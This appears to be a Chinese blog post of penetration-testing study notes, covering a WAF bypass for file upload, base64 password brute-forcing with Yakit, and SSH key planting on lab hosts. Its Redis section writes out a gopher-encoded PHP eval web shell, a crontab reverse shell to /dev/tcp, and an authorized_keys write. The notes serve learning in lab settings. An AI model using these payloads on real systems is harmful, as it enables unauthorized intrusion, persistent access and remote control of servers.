• waf、yakit和ssh免密登录


    WAF安全狗

    脏数据适用于所有漏洞绕过waf,但是前提条件垃圾信息必须放在危险信息前,是不能打断原有数据包的结构,不能影响后端对数据包的解析。

    以DVWA靶场文件上传为例

    新建php文件

    image-20231018171929267

    上传文件被安全狗拦截

    image-20231018172117852

    使用bp抓包查看

    image-20231018172314404

    在数据包Content-Disposition字段中的form-data后添加分号,在分号后添加脏数据;如果不加分号添加脏数据可能会打乱原有数据包的结构。文件上传成功。

    image-20231018172943017

    YAKIT

    暴力破解

    账户密码明文传输

    客户防护:base64编码,加密。

    前端base64编码加密,后端base64编码解密

    抓包抓到的是编码以后的数据包,进行账密爆破时,密码字典也需要进行编码才能进行爆破。

    新建x.php文档

     
    
    $a=base64_decode($_GET['passwd']);
    
    if($a=="admin"){
    	echo "welcom";
    }else{
    	echo "error";
    }
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    端口设置

    点击MITM

    image-20231018175722575

    image-20231018175926301

    image-20231018182845097

    更改浏览器代理

    image-20231018184713485

    使用yt代理访问x.php页面

    image-20231018185229093

    在历史中右击数据包选择WEB FUZZER,

    image-20231018185744145

    选择admin右键,插入模糊字典标签,选择user top10。

    image-20231018190014794

    image-20231018190049796

    image-20231018190224153

    响应结果一致是因为后端做了base64解码,字典中内容是铭文的,被编码后后端不认识,要在使用的字典前添加base64编码。

    image-20231018190500054

    {{base64({{x(user_top10)}})}},爆破出密码为admin

    image-20231018190725353

    image-20231018190858203

    之后使用抓包查看数据包时,如果流量内容是base64编码的就使用yakit爆破。yakit中也有dnslog,在测试响应的时候可以使用yakit自带的dnslog进行测试。

    image-20231018191402483

    image-20231018191441420

    SSH免密登录

    Linux服务器一定开放ssh端口。

    ssh采用非对称加密,存在公钥私钥

    将自己的公钥写入受害者的ssh目录中的时候,登录受害者ssh就可以不使用密码。

    以kali主机为失陷主机为例

    首先开启ssh服务

    ss -antpl
    systemctl start ssh.service
    ss -antpl
    pwd		#家目录的路径
    
    • 1
    • 2
    • 3
    • 4

    image-20231018192334617

    image-20231018192909440

    登录kali主机的用户家目录下有.ssh目录,其中有已通过认证的ssh密钥,我们的公钥就可以写入.ssh目录中。

    注意:在没有登陆过ssh的时候需要触发以下的登录才会出现.ssh目录。

    ssh kali@127.0.0.1
    
    • 1

    进入.ssh目录,看到里面的已通过认证的主机的公钥

    模拟命令执行写入公钥

    在windows中安装Git,安装完成后Windows就可以使用ssh客户端。

    写入公钥可以通过一句话木马或代码执行或redis写入公钥

    找到用户目录,在目录中右击看到有一个Git Bash Here点击进入命令执行界面

    ssh-keygen -t rsa
    
    • 1

    image-20231018194202261

    执行成功后出现.ssh目录

    image-20231018194244523

    进入.ssh目录可以看到有两个文件,id_rsa.pub就是公钥。

    image-20231018194354820

    查看公钥内容

    image-20231018194507557

    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcFgp7y4ZigaHArZlRjLHJ+hhBbFf1Q3HeuLly5HoUoSaXUUF6V7/dT57XQqJgqAnnAjc3LOvm9CzGAokKYR51Tony46RrpxSG8PlGpQhGsiU0JI9VWuPXMzzPFaK/1gfsctGIaihNh3Fosx7VKcqLn5sBRl6+FjqfqUtcbYAjHNkAnvb5bGBsb/+9XpUAvk1t3aHjvAz9oiGSl6L4PRi7E2mcramR4QnkWd/63KzaI38rsgnYbzFSiDfN0VxsKmS0jvjw92sBL1N9WaMyouNQWHTkdZKNSgWpakUayLpIc+Gx4vepaCNh/WV+07mVh39L6FnOt7bkCVEmyLoWaMzVRc3x6prDoWFnuRwB2C+yRctwD4tX+6AZ0QODOYFyraP1MDYcaDFm1rPhvNwX0Xhq+jfiZshQDU4iq1veVDBjHcmpsJOQ8YoiCRfLgQ0c31oCCX+FH+bpcF65LQxPsIbISryjp4tZolgmtNFvsE/cLzz87gcIS7cUnOSirGu33ok= zs@DESKTOP-6DBQCEP
    
    • 1

    在.ssh目录中输入

    vim authorized_keys
    
    • 1

    将公钥复制进去

    image-20231018195105342

    image-20231018195051783

    image-20231018195130415

    在Windows中的Git命令行中输入

    ssh root@192.168.16.132
    
    • 1

    image-20231018195446366

    image-20231018195521308

    redis未授权写公钥

    redis未授权

        高性能:Redis 是基于内存存储的非关系型数据库,具有读写速度快,可以处理大量数据的特点,因此被企业广泛使用。
        简单易用:Redis 的 API 简单易用,支持多种数据结构的存储,如字符串、哈希、列表、集合和有序集合等。此外,Redis 还提供了丰富的操作命令,可快速实现各种数据操作。
        分布式缓存:Redis 的分布式缓存功能可以帮助企业快速构建高可用、高性能、高可扩展的缓存集群,在提高数据读写性能的同时,还可以实现数据的分片存储和负载均衡。
        持久化存储:Redis 支持持久化存储功能,可以将内存中的数据通过快照或日志记录的方式持久化到磁盘中,保证数据的安全性和可靠性。
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    安装redis

    kali换源

    vim /etc/apt/sources.list
    #阿里云源
    deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
    deb http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
    deb-src http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
    
    #更新索引文件
    apt-get update
    
    #更新软件包
    apt-get upgrade
    
    #安装redis
    apt-get install redis-server
    #启动
    /usr/bin/redis-server
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    Gopher协议

    支持发出GET、POST请求

    gopher 协议可以在特定的端口上进行相关命令的执行

    gopher://IP:port/_{TCP/IP data stream}

    利用redis写文件

    image-20231018213244945

    redis-cli -h [ip]

    这条命令是用来连接到 Redis 数据库的命令行界面(CLI)。其中的"-h [ip]"参数用于指定要连接的 Redis 服务器的 IP 地址。通过运行这个命令,你可以在命令行中与 Redis 数据库进行交互,执行各种操作,如设置键值对、获取值、删除键等。

    写shell
    aaa
    
    set 1 "$_POST[1]); ?>" 
    config set dir /var/www/html/ 
    config set dbfilename shell.php 
    save
    
    bbb
    
    url编码
    curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A
    
    反弹shell
    set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.242.134/2333 0>&1\n\n\n\n" 
    config set dir /etc 
    config set dbfilename crontab 
    save
    
    redis写入ssh公钥
    
    config set dir /root/.ssh/ 
    config set dbfilename authorized_keys 
    set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbC05xE4PBAEOdBbF4F6Eai//NjL6fAkWSyotaz7Xoc33QfbzxNXz/3iDvfQTD4PIjznc17+9C1TcjV4dyrYdaC0w2JxnsRmiECrfNlRVkkkx6l/jFV0WH5P7ziYATMtVRkuhCm3wbqG0q8w8UyW5FeqB2N17rHr+wxGctDmuPGNbObbvGSvGVe5S73Uw1WwI08n3oqTjoi2dSu/FuDwVyzCbQXqQfr/5832tchX2jYl+1KzDSCRENoacj8RiIxUOEwvzJRFeMQW5qlG6FWfdksKzXwSSJ2TmAOzcHPU4ymimH49SRpOihr5i2N/j9Ts7AdhFepFu7Jkpa/YlwvSu2nDprUaZC93wBOP9Typma56xyhb8ieOEU1QbOWr+tVcqc2ouUmwRO06tv2VqKERRRaGilgarhOOO7kigeVm7t9HUa+ncnP210WqeYwGbSck6nZmbYHVoGThLcavYy+t8Ue1MZPeQhzEqWPlJeHwrddsQY+a2F6XJ/UG6VUx2qUjE= xiu@xiu-PC" 
    save 
    quit
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
  • 相关阅读:
    探索安全之道 | 企业漏洞管理:从理念到行动
    GIN框架路由的实现原理
    【kali】一款黑客们都在使用的操作系统
    (论文调研) Multi-task的网络结构 在图像去噪问题中的应用
    python内置函数 R
    企业数字化转型,应该从零开始建设数据文化
    如何使用Python脚本
    excel常用的几个函数
    他凌晨1:30给我开源的游戏加了UI|模拟龙生,挂机冒险
    【Flask基础】一,app对象的初始化与静态参数配置
  • 原文地址:https://blog.csdn.net/weixin_58954236/article/details/133936176